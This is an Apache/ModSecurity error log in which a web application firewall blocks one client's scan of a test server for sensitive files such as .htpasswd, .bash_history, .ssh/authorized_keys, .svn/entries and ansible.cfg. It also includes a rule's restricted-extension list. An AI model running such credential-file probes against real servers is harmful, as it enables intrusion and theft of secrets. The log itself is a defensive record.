[Fri Aug 01 20:57:22.424912 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPQAAAAg&quot;]
[Fri Aug 01 20:57:22.425090 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPQAAAAg&quot;]
[Fri Aug 01 20:57:22.425243 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aI0OEnifoX1ev_wT9_6HPQAAAAg&quot;]
[Fri Aug 01 20:57:25.631131 2025] [authz_core:error] [pid 1621765] [client 185.177.72.16:45464] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Fri Aug 01 20:57:25.651253 2025] [authz_core:error] [pid 1621765] [client 185.177.72.16:45464] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Fri Aug 01 20:57:25.671569 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly2wAAAAM&quot;]
[Fri Aug 01 20:57:25.671710 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly2wAAAAM&quot;]
[Fri Aug 01 20:57:25.671951 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly2wAAAAM&quot;]
[Fri Aug 01 20:57:25.672100 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly2wAAAAM&quot;]
[Fri Aug 01 20:57:25.755157 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.bash_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly3wAAAAM&quot;]
[Fri Aug 01 20:57:25.755356 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly3wAAAAM&quot;]
[Fri Aug 01 20:57:25.755510 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly3wAAAAM&quot;]
[Fri Aug 01 20:57:25.775556 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.zsh_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zsh_history found within REQUEST_FILENAME: /.zsh_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly4AAAAAM&quot;]
[Fri Aug 01 20:57:25.775777 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly4AAAAAM&quot;]
[Fri Aug 01 20:57:25.775954 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly4AAAAAM&quot;]
[Fri Aug 01 20:57:25.880091 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.ssh/authorized_keys&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/authorized_keys found within REQUEST_FILENAME: /.ssh/authorized_keys&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5QAAAAM&quot;]
[Fri Aug 01 20:57:25.880280 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5QAAAAM&quot;]
[Fri Aug 01 20:57:25.880430 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/authorized_keys&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5QAAAAM&quot;]
[Fri Aug 01 20:57:25.900573 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.ssh/known_hosts&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/known_hosts found within REQUEST_FILENAME: /.ssh/known_hosts&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5gAAAAM&quot;]
[Fri Aug 01 20:57:25.900766 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5gAAAAM&quot;]
[Fri Aug 01 20:57:25.900959 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5gAAAAM&quot;]
[Fri Aug 01 20:57:25.920902 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5wAAAAM&quot;]
[Fri Aug 01 20:57:25.921097 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5wAAAAM&quot;]
[Fri Aug 01 20:57:25.921674 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly5wAAAAM&quot;]
[Fri Aug 01 20:57:25.941611 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6AAAAAM&quot;]
[Fri Aug 01 20:57:25.941790 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6AAAAAM&quot;]
[Fri Aug 01 20:57:25.941976 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6AAAAAM&quot;]
[Fri Aug 01 20:57:25.982895 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6gAAAAM&quot;]
[Fri Aug 01 20:57:25.983074 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6gAAAAM&quot;]
[Fri Aug 01 20:57:25.983239 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aI0OFf8CICd_KOc8Qdly6gAAAAM&quot;]
[Fri Aug 01 20:57:26.150619 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8gAAAAM&quot;]
[Fri Aug 01 20:57:26.150886 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8gAAAAM&quot;]
[Fri Aug 01 20:57:26.151061 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible.cfg&quot;] [unique_id &quot;aI0OFv8CICd_KOc8Qdly8gAAAAM&quot;]
